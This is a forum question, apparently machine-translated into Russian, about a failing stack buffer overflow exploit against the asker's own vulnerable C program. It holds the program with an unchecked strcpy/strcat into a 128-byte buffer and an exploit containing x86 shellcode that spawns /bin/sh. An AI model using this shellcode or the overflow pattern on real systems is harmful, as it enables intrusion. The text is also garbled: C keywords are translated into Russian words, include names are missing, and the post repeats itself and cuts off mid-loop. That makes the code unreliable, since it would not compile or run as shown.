Выполнение переполнения буфера для моей уязвимой программы не работает ⇐ Linux
-
Anonymous
Выполнение переполнения буфера для моей уязвимой программы не работает
У меня есть следующая программа на C:
#include #include void foo(char * name) { символ буф[128]; strcpy(buf, "Следующий шаг..."); strcat(buf, имя); strcat(buf, "."); ставит (буф); } int main(int argc, char ** argv) { если (арг < 2) puts("Пожалуйста, введите параметр командной строки."); еще Фу(аргв[1]); вернуть 0; } А это моя программа для взлома кода:
#include #include char шеллкод[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff" "/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31" "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" "\x30\xf3\xff\bf"; интервал основной() { интервал я; //длина буфера 128, длина строки 20, oldEBP 4, адрес возврата 4 for (i=0; i
У меня есть следующая программа на C:
#include #include void foo(char * name) { символ буф[128]; strcpy(buf, "Следующий шаг..."); strcat(buf, имя); strcat(buf, "."); ставит (буф); } int main(int argc, char ** argv) { если (арг < 2) puts("Пожалуйста, введите параметр командной строки."); еще Фу(аргв[1]); вернуть 0; } А это моя программа для взлома кода:
#include #include char шеллкод[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff" "/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31" "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" "\x30\xf3\xff\bf"; интервал основной() { интервал я; //длина буфера 128, длина строки 20, oldEBP 4, адрес возврата 4 for (i=0; i
Мобильная версия